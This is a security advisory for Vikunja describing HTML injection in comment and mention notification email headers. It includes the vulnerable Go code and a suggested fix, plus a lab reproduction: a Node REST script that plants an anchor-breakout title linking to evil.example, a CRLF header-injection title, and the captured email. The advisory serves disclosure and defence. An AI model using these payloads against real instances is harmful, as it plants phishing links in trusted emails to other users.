All vulnerabilities
GHSA-rp33-8f2m-hm6j

code.vikunja.io/api: HTML injection in conversational notification email headers via unescaped doer name and task/project titles (incomplete fix of GHSA-45q4-x4r9-8fqj)

code.vikunja.io/api
CVSS
3.5Low
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed in2.7.1Fixed versionGitHub
Published22 Oct 2026Updated 22 Oct 2026GitHub

What fixes it

  • 2.7.1code.vikunja.io/api, goGitHubgo get code.vikunja.io/api@v2.7.1

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

> Status: fixed on main (unreleased) by commit 18ff05932 — the doer name and the project/task titles are now escaped in the conversational email header. No released version carries the fix yet.

HTML injection in conversational notification email header (incomplete fix of GHSA-45q4-x4r9-8fqj)

Summary

Vikunja's conversational notification emails (task comment and task mention) interpolate the doer's display name and the task and project titles raw into an HTML anchor in the email header (CreateConversationalHeader), then sanitize the finished string with bluemonday's UGCPolicy, which intentionally preserves <a href> (only adding rel="nofollow"). A task title of </a><a href="https://evil.example/phish">Verify your account</a> closes the display anchor early and injects a clickable phishing link into notification emails sent to other project members; a commenter can do the same with their display name. An <img> survives too, but the sanitizer's RewriteSrc (mail_render.go:205) blanks every non-data: source, so it cannot be used as a tracking pixel.

This sink is a known-excluded residual: commit 0f3730d ("fix(notifications): escape markdown in user-controlled strings in email lines", fixing GHSA-45q4-x4r9-8fqj / CVE-2026-35600) deliberately left CreateConversationalHeader unchanged, with the commit message stating the conversational header "is sanitized as raw HTML by bluemonday in mail_render.go" and therefore needs no escaping. The captured email below demonstrates that this assumption is wrong: the header wraps the title inside an existing <a> element, so a raw-HTML sanitizer that preserves safe anchors cannot prevent an anchor breakout.

Affected versions

<= 2.7.0. Tested end-to-end on v2.6.0 (commit a4218eeb8fb3ada95e14a2331731524c9120d5bd). The vulnerable code is unchanged in current main (pushed 2026-10-03).

Vulnerable code

pkg/models/notifications.go — TaskCommentNotification.ToMail (line 144) and the task-mention notification (line 511), the only callers, pass the titles raw. The action argument is i18n.T(..., n.Doer.GetName()), so the doer's display name is raw as well (the en.json action strings contain no HTML). Every Line(...) call in this file was escaped by the GHSA-45q4 fix; the header call was not:

headerLine := notifications.CreateConversationalHeader(
	getDoerAvatarDataURI(n.Doer),
	action,
	n.Task.GetFrontendURL(),
	n.Project.Title,             // raw
	n.Task.GetFullIdentifier(),
	n.Task.Title,                // raw
)

pkg/notifications/mail.go — CreateConversationalHeader builds the HTML with fmt.Sprintf (current main, lines 131-148):

return fmt.Sprintf(
	`%s%s <a href="%s" style="color: #0969da; text-decoration: none;">(%s &gt; %s) %s</a>`,
	avatarHTML,
	action,
	taskURL,
	projectTitle,
	taskTitle,
	taskIdentifier,
)

pkg/notifications/mail_render.go — the header is sanitized as raw HTML (current main, line 537) with a bluemonday UGCPolicy() (newNotificationSanitizer, lines 199-211):

data["HeaderLineHTML"] = templatehtml.HTML(newNotificationSanitizer().Sanitize(m.headerLine.Text))

UGCPolicy preserves <a href> for http/https URLs, so the injected anchor survives with only rel="nofollow" added.

Reproduction

Lab: real Vikunja binary built from the pinned commit (only addition: an empty frontend/dist/.gitkeep for the go:embed placeholder), SQLite storage, mailer pointed at a local SMTP capture sink. Everything below goes through the real REST API — no code changes, no direct database writes.

  1. config.yml (excerpt):
database:
  type: sqlite
  path: ./vikunja.db
mailer:
  enabled: true
  host: 127.0.0.1
  port: 2525
  fromemail: no-reply@lab.local
  queuelength: 100
  queuetimeout: 3
service:
  interface: ":8080"
  publicurl: http://localhost:8080
  enableregistration: true
ratelimit:
  enabled: false
  1. SMTP capture sink (smtp-sink.py, aiosmtpd, saves every message to mails/msg-XXX.eml):
# SMTP sink with aiosmtpd: capture every message from vikunja's mailer to mails/.
import os
from aiosmtpd.controller import Controller
from aiosmtpd.handlers import Message

COUNT = 0

class Sink(Message):
    def handle_message(self, message):
        global COUNT
        COUNT += 1
        out = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'mails', f'msg-{COUNT:03d}.eml')
        with open(out, 'wb') as f:
            f.write(message.as_bytes())
        print('SAVED', out, flush=True)

controller = Controller(Sink(), hostname='127.0.0.1', port=2525)
controller.start()
print('SMTP sink on 127.0.0.1:2525', flush=True)
try:
    controller._thread.join()
except KeyboardInterrupt:
    controller.stop()
  1. REST driver (drive.mjs): registers victim and attacker (email confirmation done through the captured confirmation mails), attacker creates a project, adds the victim, creates a task with the payload title, assigns the victim, and comments mentioning them:
// REST driver: real Vikunja v2.6.0 lab, two users, attacker-controlled task title,
// mention notification, then report what the SMTP sink captured.
import fs from 'node:fs';
import path from 'node:path';
import { fileURLToPath } from 'node:url';

const BASE = 'http://127.0.0.1:8080/api/v1';
const LAB = path.dirname(fileURLToPath(import.meta.url));
const sinkDir = path.join(LAB, 'mails');

// F1 payload: close the display anchor, inject a phishing link.
const F1_TITLE = '</a><a href="https://evil.example/phish">Verify your account</a>';
// F2 payload: CRLF in the title (hits ToTitle/Subject).
const F2_TITLE = 'clean-title\r\nX-Evil: injected';

async function api(method, p, token, body) {
  const res = await fetch(BASE + p, {
    method,
    headers: { 'Content-Type': 'application/json', ...(token ? { Authorization: `Bearer ${token}` } : {}) },
    body: body === undefined ? undefined : JSON.stringify(body),
  });
  const text = await res.text();
  let json = null;
  try { json = JSON.parse(text); } catch { /* non-JSON */ }
  return { status: res.status, json };
}

function rnd(n) { return Math.random().toString(36).slice(2, 2 + n); }

function decodeQP(s) {
  // quoted-printable decode: soft breaks (= at EOL) and =XX escapes
  return s.replace(/=\r?\n/g, '').replace(/=([0-9A-Fa-f]{2})/g, (m, h) => String.fromCharCode(parseInt(h, 16)));
}

const consumed = new Set();
// fresh start each run: old mails are stale (tokens already used)
for (const f of fs.readdirSync(sinkDir).filter(f => f.endsWith('.eml'))) {
  fs.unlinkSync(path.join(sinkDir, f));
}
function latestConfirmToken() {
  const files = fs.readdirSync(sinkDir).filter(f => f.endsWith('.eml')).sort();
  for (let i = files.length - 1; i >= 0; i--) {
    const f = files[i];
    if (consumed.has(f)) continue;
    const raw = fs.readFileSync(path.join(sinkDir, f), 'utf8');
    const m = raw.match(/userEmailConfirm=3D((?:[A-Za-z0-9]+|=\r?\n)+)/);
    if (m) {
      consumed.add(f);
      return m[1].replace(/=\r?\n/g, '');
    }
    consumed.add(f);
  }
  return null;
}

async function registerAndConfirm(username, email) {
  const r = await api('POST', '/register', null, { username, email, password: 'Passw0rd!x' });
  console.log('register', username, r.status, r.json && r.json.message);
  let token = null;
  for (let i = 0; i < 30 && !token; i++) {
    await new Promise(res => setTimeout(res, 1500));
    token = latestConfirmToken();
  }
  if (!token) throw new Error('no confirm token for ' + username);
  const c = await api('POST', '/user/confirm', null, { token });
  console.log('confirm', username, c.status);
  const l = await api('POST', '/login', null, { username, password: 'Passw0rd!x' });
  if (!l.json || !l.json.token) throw new Error('login failed for ' + username + ': ' + JSON.stringify(l.json));
  return l.json.token;
}

const unameA = 'victim_' + rnd(5);
const unameB = 'attacker_' + rnd(5);
const tokA = await registerAndConfirm(unameA, unameA + '@lab.local');
const tokB = await registerAndConfirm(unameB, unameB + '@lab.local');
const meA = (await api('GET', '/user', tokA)).json;
console.log('victim id', meA.id);

// attacker creates project + task (F1 title) + assigns victim + mentions victim
const proj = (await api('PUT', '/projects', tokB, { title: 'Shared Lab Project' })).json;
console.log('project', proj.id);
console.log('add victim to project:', (await api('PUT', `/projects/${proj.id}/users`, tokB, { username: unameA, permission: 1 })).status);

const task1 = (await api('PUT', `/projects/${proj.id}/tasks`, tokB, { title: F1_TITLE })).json;
console.log('task1 id', task1.id, 'title:', JSON.stringify(task1.title));
console.log('assign victim to task1:', (await api('PUT', `/tasks/${task1.id}/assignees`, tokB, { user_id: meA.id })).status);
console.log('comment on task1:', (await api('PUT', `/tasks/${task1.id}/comments`, tokB, { comment: `@${unameA} please verify your account now` })).status);

// second task with CRLF title (F2 vector) — same mention path
const task2 = (await api('PUT', `/projects/${proj.id}/tasks`, tokB, { title: F2_TITLE })).json;
console.log('task2 id', task2.id, 'title:', JSON.stringify(task2.title));
console.log('assign victim to task2:', (await api('PUT', `/tasks/${task2.id}/assignees`, tokB, { user_id: meA.id })).status);
console.log('comment on task2:', (await api('PUT', `/tasks/${task2.id}/comments`, tokB, { comment: `@${unameA} second note` })).status);

console.log('DONE. waiting for mailer queue...');
await new Promise(r => setTimeout(r, 20000));

const files = fs.readdirSync(sinkDir).filter(f => f.endsWith('.eml')).sort();
console.log('captured mails:', files.length);
for (const f of files) {
  const raw = fs.readFileSync(path.join(sinkDir, f), 'binary');
  console.log('---', f, '---');
  console.log(raw.slice(0, 2000));
}
process.exit(0);

The second task in the script (F2 CRLF title) is out of scope for this report; only the F1 title is relevant to the header-injection finding.

Proof

Captured mention-notification email to the victim (msg-003.eml, HTML part, quoted-printable decoded):

attacker_8ec2f left a comment <a href="http://localhost:8080/tasks/1" rel="nofollow">(Shared Lab Project &gt; </a><a href="https://evil.example/phish" rel="nofollow">Verify your account</a>) #1</a>
  • The attacker-controlled </a> closes the display anchor; the injected <a href="https://evil.example/phish"> survives bluemonday and renders as a working phishing link inside a legitimate Vikunja notification email from the instance's configured SMTP sender.
  • The text/plain part carries the injected link text as well, and the Subject: line carries the raw title (Subject: Re: </a><a href="https://evil.example/phish">Verify your account</a> (#1)).
  • The assignment notification to the same victim (msg-004.eml) shows the same unescaped title in a second notification type (Subject: You have been assigned to "</a><a ...).

Impact

Any user of a Vikunja instance (self-registration is enabled by default) can create a project, add a victim by username, and trigger comment/mention notification emails whose headers contain an attacker-controlled clickable link inside what otherwise appears to be a legitimate Vikunja email.

Severity is low: the email body already carries user-written HTML (the comment or task description) under the same sanitizer policy (mail_render.go:155, :522), which allows links, so the header adds only a more prominent placement for a link an attacker can already send. Remote images are blanked, so there is no tracking pixel.

Suggested fix

html.EscapeString the doer name before passing it to i18n.T (the en.json action strings at lines 173-176 contain no HTML, so escaping the whole action is not needed), and escape both the project and task titles passed to CreateConversationalHeader. The Subject: line carries the raw title too, so escaping should cover every field derived from Task.Title / Project.Title in this notification path.

Text from GitHub Advisory Database

Affected versions 1

  • code.vikunja.io/api, go<= 2.7.0GitHub